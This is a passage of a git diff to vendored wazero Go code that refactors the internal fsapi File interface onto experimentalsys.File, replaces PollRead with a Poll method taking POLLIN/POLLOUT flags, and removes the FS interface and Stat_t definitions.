Particularly, Poll is subject to debate. For example, whether a user should +// be able to choose how to implement timeout or not. Currently, this interface +// allows the user to choose to sleep or use native polling, and which choice +// they make impacts thread behavior as summarized here: +// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516 type File interface { - // Ino returns the inode (Stat_t.Ino) of this file, zero if unknown or an - // error there was an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except syscall.ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Some implementations implement this with a cached call to Stat. - Ino() (uint64, syscall.Errno) + experimentalsys.File // IsNonblock returns true if the file was opened with O_NONBLOCK, or // SetNonblock was successfully enabled on this file. @@ -53,330 +26,44 @@ type File interface { // // # Errors // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. // // # Notes // // - This is like syscall.SetNonblock and `fcntl` with O_NONBLOCK in // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html - SetNonblock(enable bool) syscall.Errno - - // IsAppend returns true if the file was opened with syscall.O_APPEND, or - // SetAppend was successfully enabled on this file. - // - // # Notes - // - // - This might not match the underlying state of the file descriptor if - // the file was not opened via OpenFile. - IsAppend() bool - - // SetAppend toggles the append mode (syscall.O_APPEND) of this file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may - // have to re-open the underlying file to apply this. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - SetAppend(enable bool) syscall.Errno - - // Stat is similar to syscall.Fstat. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - Windows allows you to stat a closed directory. - Stat() (Stat_t, syscall.Errno) - - // IsDir returns true if this file is a directory or an error there was an - // error retrieving this information. - // - // # Errors - // - // Possible errors are those from Stat. - // - // # Notes - // - // - Some implementations implement this with a cached call to Stat. - IsDir() (bool, syscall.Errno) - - // Read attempts to read all bytes in the file into `buf`, and returns the - // count read even on error. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed or not readable. - // - syscall.EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.Reader and `read` in POSIX, preferring semantics of - // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html - // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Read(buf []byte) (n int, errno syscall.Errno) - - // Pread attempts to read all bytes in the file into `p`, starting at the - // offset `off`, and returns the count read even on error. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed or not readable. - // - syscall.EINVAL: the offset was negative. - // - syscall.EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics - // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html - // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Pread(buf []byte, off int64) (n int, errno syscall.Errno) + SetNonblock(enable bool) experimentalsys.Errno - // Seek attempts to set the next offset for Read or Write and returns the - // resulting absolute offset or an error. + // Poll returns if the file has data ready to be read or written. // // # Parameters // - // The `offset` parameters is interpreted in terms of `whence`: - // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets - // the next Read or Write to the beginning of the file. - // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets - // the next Read or Write 16 bytes past the prior. - // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the - // next Read or Write to the last byte in the file. + // The `flag` parameter determines which event to await, such as POLLIN, + // POLLOUT, or a combination like `POLLIN|POLLOUT`. // - // # Behavior when a directory + // The `timeoutMillis` parameter is how long to block for an event, or + // interrupted, in milliseconds. There are two special values: + // - zero returns immediately + // - any negative value blocks any amount of time // - // The only supported use case for a directory is seeking to `offset` zero - // (`whence` = io.SeekStart). This should have the same behavior as - // os.File, which resets any internal state used by Readdir. + // # Results // - // # Errors + // `ready` means there was data ready to read or written. False can mean no + // event was ready or `errno` is not zero. // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed or not readable. - // - syscall.EINVAL: the offset was negative. - // - // # Notes - // - // - This is like io.Seeker and `fseek` in POSIX, preferring semantics - // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html - Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) - - // PollRead returns if the file has data ready to be read or an error. - // - // # Parameters - // - // The `timeout` parameter when nil blocks up to forever. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. + // A zero `errno` is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - ENOTSUP: the implementation does not the flag combination. + // - EINTR: the call was interrupted prior to an event. // // # Notes // // - This is like `poll` in POSIX, for a single file. // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html // - No-op files, such as those which read from /dev/null, should return - // immediately true to avoid hangs (because data will never become - // available). - PollRead(timeout *time.Duration) (ready bool, errno syscall.Errno) - - // Readdir reads the contents of the directory associated with file and - // returns a slice of up to n Dirent values in an arbitrary order. This is - // a stateful function, so subsequent calls return any next values. - // - // If n > 0, Readdir returns at most n entries or an error. - // If n <= 0, Readdir returns all remaining entries or an error. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.ENOTDIR: the file was not a directory - // - // # Notes - // - // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html - // - For portability reasons, no error is returned at the end of the - // directory, when the file is closed or removed while open. - // See https://github.com/ziglang/zig/blob/0.10.1/lib/std/fs.zig#L635-L637 - Readdir(n int) (dirents []Dirent, errno syscall.Errno) - // ^-- TODO: consider being more like POSIX, for example, returning a - // closeable Dirent object that can iterate on demand. This would - // centralize sizing logic needed by wasi, particularly extra dirents - // stored in the sys.FileEntry type. It could possibly reduce the need to - // reopen the whole file. - - // Write attempts to write all bytes in `p` to the file, and returns the - // count written even on error. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file was closed, not writeable, or a directory. - // - // # Notes - // - // - This is like io.Writer and `write` in POSIX, preferring semantics of - // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html - Write(buf []byte) (n int, errno syscall.Errno) - - // Pwrite attempts to write all bytes in `p` to the file at the given - // offset `off`, and returns the count written even on error. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed or not writeable. - // - syscall.EINVAL: the offset was negative. - // - syscall.EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics - // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html - Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) - - // Truncate truncates a file to a specified length. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - syscall.EINVAL: the `size` is negative. - // - syscall.EISDIR: the file was a directory. - // - // # Notes - // - // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html - // - Windows does not error when calling Truncate on a closed file. - Truncate(size int64) syscall.Errno - - // Sync synchronizes changes to the file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fsync and `fsync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html - // - This returns with no error instead of syscall.ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - Windows does not error when calling Sync on a closed file. - Sync() syscall.Errno - - // Datasync synchronizes the data of a file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html - // - This returns with no error instead of syscall.ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - As this is commonly missing, some implementations dispatch to Sync. - Datasync() syscall.Errno - - // Chmod changes the mode of the file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fchmod and `fchmod` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchmod.html - // - Windows ignores the execute bit, and any permissions come back as - // group and world. For example, chmod of 0400 reads back as 0444, and - // 0700 0666. Also, permissions on directories aren't supported at all. - Chmod(fs.FileMode) syscall.Errno - - // Chown changes the owner and group of a file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fchown and `fchown` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchown.html - // - This always returns syscall.ENOSYS on windows. - Chown(uid, gid int) syscall.Errno - - // Utimens set file access and modification times of this file, at - // nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be - // specified instead of real timestamps. A nil `times` parameter behaves the - // same as if both were set to UTIME_NOW. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.UtimesNano and `futimens` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - // - Windows requires files to be open with syscall.O_RDWR, which means you - // cannot use this to update timestamps on a directory (syscall.EPERM). - Utimens(times *[2]syscall.Timespec) syscall.Errno - - // Close closes the underlying file. - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - // # Notes - // - // - This is like syscall.Close and `close` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html - Close() syscall.Errno + // immediately true, as data will never become available. + // - See /RATIONALE.md for detailed notes including impact of blocking. + Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go deleted file mode 100644 index 9a46bfe6c6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go +++ /dev/null @@ -1,365 +0,0 @@ -package fsapi - -import ( - "io/fs" - "syscall" -) - -// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. -// -// Implementations should embed UnimplementedFS for forward compatability. Any -// unsupported method or parameter should return syscall.ENO -// -// # Errors -// -// All methods that can return an error return a syscall.Errno, which is zero -// on success. -// -// Restricting to syscall.Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. -// -// # Notes -// -// A writable filesystem abstraction is not yet implemented as of Go 1.20. See -// https://github.com/golang/go/issues/45757 -type FS interface { - // String should return a human-readable format of the filesystem - // - // For example, if this filesystem is backed by the real directory - // "/tmp/wasm", the expected value is "/tmp/wasm". - // - // When the host filesystem isn't a real filesystem, substitute a symbolic, - // human-readable name. e.g. "virtual" - String() string - - // OpenFile opens a file. It should be closed via Close on File. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` or `flag` is invalid. - // - syscall.EISDIR: the path was a directory, but flag included - // syscall.O_RDWR or syscall.O_WRONLY - // - syscall.ENOENT: `path` doesn't exist and `flag` doesn't contain - // os.O_CREATE. - // - // # Constraints on the returned file - // - // Implementations that can read flags should enforce them regardless of - // the type returned. For example, while os.File implements io.Writer, - // attempts to write to a directory or a file opened with os.O_RDONLY fail - // with a syscall.EBADF. - // - // Some implementations choose whether to enforce read-only opens, namely - // fs.FS. While fs.FS is supported (Adapt), wazero cannot runtime enforce - // open flags. Instead, we encourage good behavior and test our built-in - // implementations. - // - // # Notes - // - // - This is like os.OpenFile, except the path is relative to this file - // system, and syscall.Errno is returned instead of os.PathError. - // - flag are the same as os.OpenFile, for example, os.O_CREATE. - // - Implications of permissions when os.O_CREATE are described in Chmod - // notes. - // - This is like `open` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno) - // ^^ TODO: Consider syscall.Open, though this implies defining and - // coercing flags and perms similar to what is done in os.OpenFile. - - // Lstat gets file status without following symbolic links. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.ENOENT: `path` doesn't exist. - // - // # Notes - // - // - This is like syscall.Lstat, except the `path` is relative to this - // file system. - // - This is like `lstat` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/lstat.html - // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - When the path is a symbolic link, the stat returned is for the link, - // not the file it refers to. - Lstat(path string) (Stat_t, syscall.Errno) - - // Stat gets file status. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.ENOENT: `path` doesn't exist. - // - // # Notes - // - // - This is like syscall.Stat, except the `path` is relative to this - // file system. - // - This is like `stat` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - When the path is a symbolic link, the stat returned is for the file - // it refers to. - Stat(path string) (Stat_t, syscall.Errno) - - // Mkdir makes a directory. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.EEXIST: `path` exists and is a directory. - // - syscall.ENOTDIR: `path` exists and is a file. - // - // # Notes - // - // - This is like syscall.Mkdir, except the `path` is relative to this - // file system. - // - This is like `mkdir` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html - // - Implications of permissions are described in Chmod notes. - Mkdir(path string, perm fs.FileMode) syscall.Errno - // ^^ TODO: Consider syscall.Mkdir, though this implies defining and - // coercing flags and perms similar to what is done in os.Mkdir. - - // Chmod changes the mode of the file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.ENOENT: `path` does not exist. - // - // # Notes - // - // - This is like syscall.Chmod, except the `path` is relative to this - // file system. - // - This is like `chmod` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/chmod.html - // - Windows ignores the execute bit, and any permissions come back as - // group and world. For example, chmod of 0400 reads back as 0444, and - // 0700 0666. Also, permissions on directories aren't supported at all. - Chmod(path string, perm fs.FileMode) syscall.Errno - - // Chown changes the owner and group of a file. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.ENOENT: `path` does not exist. - // - // # Notes - // - // - This is like syscall.Chown, except the `path` is relative to this - // file system. - // - This is like `chown` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/chown.html - // - This always returns syscall.ENOSYS on windows. - Chown(path string, uid, gid int) syscall.Errno - - // Lchown changes the owner and group of a symbolic link. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.ENOENT: `path` does not exist. - // - // # Notes - // - // - This is like syscall.Lchown, except the `path` is relative to this - // file system. - // - This is like `lchown` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/lchown.html - // - Windows will always return syscall.ENOSYS - Lchown(path string, uid, gid int) syscall.Errno - - // Rename renames file or directory. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `from` or `to` is invalid. - // - syscall.ENOENT: `from` or `to` don't exist. - // - syscall.ENOTDIR: `from` is a directory and `to` exists as a file. - // - syscall.EISDIR: `from` is a file and `to` exists as a directory. - // - syscall.ENOTEMPTY: `both from` and `to` are existing directory, but - // `to` is not empty. - // - // # Notes - // - // - This is like syscall.Rename, except the paths are relative to this - // file system. - // - This is like `rename` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html - // - Windows doesn't let you overwrite an existing directory. - Rename(from, to string) syscall.Errno - - // Rmdir removes a directory. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.ENOENT: `path` doesn't exist. - // - syscall.ENOTDIR: `path` exists, but isn't a directory. - // - syscall.ENOTEMPTY: `path` exists, but isn't empty. - // - // # Notes - // - // - This is like syscall.Rmdir, except the `path` is relative to this - // file system. - // - This is like `rmdir` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html - // - As of Go 1.19, Windows maps syscall.ENOTDIR to syscall.ENOENT. - Rmdir(path string) syscall.Errno - - // Unlink removes a directory entry. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.ENOENT: `path` doesn't exist. - // - syscall.EISDIR: `path` exists, but is a directory. - // - // # Notes - // - // - This is like syscall.Unlink, except the `path` is relative to this - // file system. - // - This is like `unlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/unlink.html - // - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might - // want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows. - // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya - Unlink(path string) syscall.Errno - - // Link creates a "hard" link from oldPath to newPath, in contrast to a - // soft link (via Symlink). - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EPERM: `oldPath` is invalid. - // - syscall.ENOENT: `oldPath` doesn't exist. - // - syscall.EISDIR: `newPath` exists, but is a directory. - // - // # Notes - // - // - This is like syscall.Link, except the `oldPath` is relative to this - // file system. - // - This is like `link` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html - Link(oldPath, newPath string) syscall.Errno - - // Symlink creates a "soft" link from oldPath to newPath, in contrast to a - // hard link (via Link). - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EPERM: `oldPath` or `newPath` is invalid. - // - syscall.EEXIST: `newPath` exists. - // - // # Notes - // - // - This is like syscall.Symlink, except the `oldPath` is relative to - // this file system. - // - This is like `symlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/symlink.html - // - Only `newPath` is relative to this file system and `oldPath` is kept - // as-is. That is because the link is only resolved relative to the - // directory when dereferencing it (e.g. ReadLink). - // See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 - // for how others implement this. - // - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`. - // Otherwise, syscall.EPERM results. - // See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links - Symlink(oldPath, linkName string) syscall.Errno - - // Readlink reads the contents of a symbolic link. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - // # Notes - // - // - This is like syscall.Readlink, except the path is relative to this - // filesystem. - // - This is like `readlink` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/readlink.html - // - On Windows, the path separator is different from other platforms, - // but to provide consistent results to Wasm, this normalizes to a "/" - // separator. - Readlink(path string) (string, syscall.Errno) - - // Truncate truncates a file to a specified length. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid or size is negative. - // - syscall.ENOENT: `path` doesn't exist. - // - syscall.EISDIR: `path` is a directory. - // - syscall.EACCES: `path` doesn't have write access. - // - // # Notes - // - // - This is like syscall.Truncate, except the path is relative to this - // filesystem. - // - This is like `truncate` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/truncate.html - Truncate(path string, size int64) syscall.Errno - - // Utimens set file access and modification times on a path relative to - // this file system, at nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values platform.UTIME_NOW and - // platform.UTIME_OMIT may be specified instead of real timestamps. A nil - // `times` parameter behaves the same as if both were set to - // platform.UTIME_NOW. - // - // When the `symlinkFollow` parameter is true and the path is a symbolic link, - // the target of expanding that link is updated. - // - // # Errors - // - // A zero syscall.Errno is success. The below are expected otherwise: - // - syscall.ENOSYS: the implementation does not support this function. - // - syscall.EINVAL: `path` is invalid. - // - syscall.EEXIST: `path` exists and is a directory. - // - syscall.ENOTDIR: `path` exists and is a file. - // - // # Notes - // - // - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in - // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go new file mode 100644 index 0000000000..25f7c5711b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go @@ -0,0 +1,20 @@ +package fsapi + +// Pflag are bit flags used for File.Poll. Values, including zero, should not +// be interpreted numerically. Instead, use by constants prefixed with 'POLL'. +// +// # Notes +// +// - This is like `pollfd.events` flags for `poll` in POSIX. See +// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html +type Pflag uint32 + +// Only define bitflags we support and are needed by `poll_oneoff` in wasip1 +// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags +const ( + // POLLIN is a read event. + POLLIN Pflag = 1 << iota + + // POLLOUT is a write event. + POLLOUT +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/stat.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/stat.go deleted file mode 100644 index 3901a6aff9..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/stat.go +++ /dev/null @@ -1,48 +0,0 @@ -package fsapi - -import "io/fs" - -// Stat_t is similar to syscall.Stat_t, and fields frequently used by -// WebAssembly ABI including WASI snapshot-01, GOOS=js and wasi-filesystem. -// -// # Note -// -// Zero values may be returned where not available. For example, fs.FileInfo -// implementations may not be able to provide Ino values. -type Stat_t struct { - // Dev is the device ID of device containing the file. - Dev uint64 - - // Ino is the file serial number. - Ino uint64 - - // Uid is the user ID that owns the file, or zero if unsupported. - // For example, this is unsupported on some virtual filesystems or windows. - Uid uint32 - - // Gid is the group ID that owns the file, or zero if unsupported. - // For example, this is unsupported on some virtual filesystems or windows. - Gid uint32 - - // Mode is the same as Mode on fs.FileInfo containing bits to identify the - // type of the file (fs.ModeType) and its permissions (fs.ModePerm). - Mode fs.FileMode - - /// Nlink is the number of hard links to the file. - Nlink uint64 - // ^^ uint64 not uint16 to accept widest syscall.Stat_t.Nlink - - // Size is the length in bytes for regular files. For symbolic links, this - // is length in bytes of the pathname contained in the symbolic link. - Size int64 - // ^^ int64 not uint64 to defer to fs.FileInfo - - // Atim is the last data access timestamp in epoch nanoseconds. - Atim int64 - - // Mtim is the last data modification timestamp in epoch nanoseconds. - Mtim int64 - - // Ctim is the last file status change timestamp in epoch nanoseconds. - Ctim int64 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go index 7a57468ba7..99d9c2db34 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go @@ -1,205 +1,27 @@ package fsapi -import ( - "io/fs" - "syscall" - "time" -) +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" -// UnimplementedFS is an FS that returns syscall.ENOSYS for all functions, -// This should be embedded to have forward compatible implementations. -type UnimplementedFS struct{} - -// String implements fmt.Stringer -func (UnimplementedFS) String() string { - return "Unimplemented:/" -} - -// Open implements the same method as documented on fs.FS -func (UnimplementedFS) Open(name string) (fs.File, error) { - return nil, &fs.PathError{Op: "open", Path: name, Err: syscall.ENOSYS} -} - -// OpenFile implements FS.OpenFile -func (UnimplementedFS) OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno) { - return nil, syscall.ENOSYS -} - -// Lstat implements FS.Lstat -func (UnimplementedFS) Lstat(path string) (Stat_t, syscall.Errno) { - return Stat_t{}, syscall.ENOSYS -} - -// Stat implements FS.Stat -func (UnimplementedFS) Stat(path string) (Stat_t, syscall.Errno) { - return Stat_t{}, syscall.ENOSYS +func Adapt(f experimentalsys.File) File { + if f, ok := f.(File); ok { + return f + } + return unimplementedFile{f} } -// Readlink implements FS.Readlink -func (UnimplementedFS) Readlink(path string) (string, syscall.Errno) { - return "", syscall.ENOSYS -} - -// Mkdir implements FS.Mkdir -func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) syscall.Errno { - return syscall.ENOSYS -} - -// Chmod implements FS.Chmod -func (UnimplementedFS) Chmod(path string, perm fs.FileMode) syscall.Errno { - return syscall.ENOSYS -} - -// Chown implements FS.Chown -func (UnimplementedFS) Chown(path string, uid, gid int) syscall.Errno { - return syscall.ENOSYS -} - -// Lchown implements FS.Lchown -func (UnimplementedFS) Lchown(path string, uid, gid int) syscall.Errno { - return syscall.ENOSYS -} - -// Rename implements FS.Rename -func (UnimplementedFS) Rename(from, to string) syscall.Errno { - return syscall.ENOSYS -} - -// Rmdir implements FS.Rmdir -func (UnimplementedFS) Rmdir(path string) syscall.Errno { - return syscall.ENOSYS -} - -// Link implements FS.Link -func (UnimplementedFS) Link(_, _ string) syscall.Errno { - return syscall.ENOSYS -} - -// Symlink implements FS.Symlink -func (UnimplementedFS) Symlink(_, _ string) syscall.Errno { - return syscall.ENOSYS -} - -// Unlink implements FS.Unlink -func (UnimplementedFS) Unlink(path string) syscall.Errno { - return syscall.ENOSYS -} - -// Utimens implements FS.Utimens -func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno { - return syscall.ENOSYS -} - -// Truncate implements FS.Truncate -func (UnimplementedFS) Truncate(string, int64) syscall.Errno { - return syscall.ENOSYS -} - -// UnimplementedFile is a File that returns syscall.ENOSYS for all functions, -// except where no-op are otherwise documented. -// -// This should be embedded to have forward compatible implementations. -type UnimplementedFile struct{} - -// Ino implements File.Ino -func (UnimplementedFile) Ino() (uint64, syscall.Errno) { - return 0, 0 -} - -// IsAppend implements File.IsAppend -func (UnimplementedFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (UnimplementedFile) SetAppend(bool) syscall.Errno { - return syscall.ENOSYS -} +type unimplementedFile struct{ experimentalsys.File } // IsNonblock implements File.IsNonblock -func (UnimplementedFile) IsNonblock() bool { +func (unimplementedFile) IsNonblock() bool { return false } // SetNonblock implements File.SetNonblock -func (UnimplementedFile) SetNonblock(bool) syscall.Errno { - return syscall.ENOSYS -} - -// Stat implements File.Stat -func (UnimplementedFile) Stat() (Stat_t, syscall.Errno) { - return Stat_t{}, syscall.ENOSYS -} - -// IsDir implements File.IsDir -func (UnimplementedFile) IsDir() (bool, syscall.Errno) { - return false, syscall.ENOSYS -} - -// Read implements File.Read -func (UnimplementedFile) Read([]byte) (int, syscall.Errno) { - return 0, syscall.ENOSYS -} - -// Pread implements File.Pread -func (UnimplementedFile) Pread([]byte, int64) (int, syscall.Errno) { - return 0, syscall.ENOSYS -} - -// Seek implements File.Seek -func (UnimplementedFile) Seek(int64, int) (int64, syscall.Errno) { - return 0, 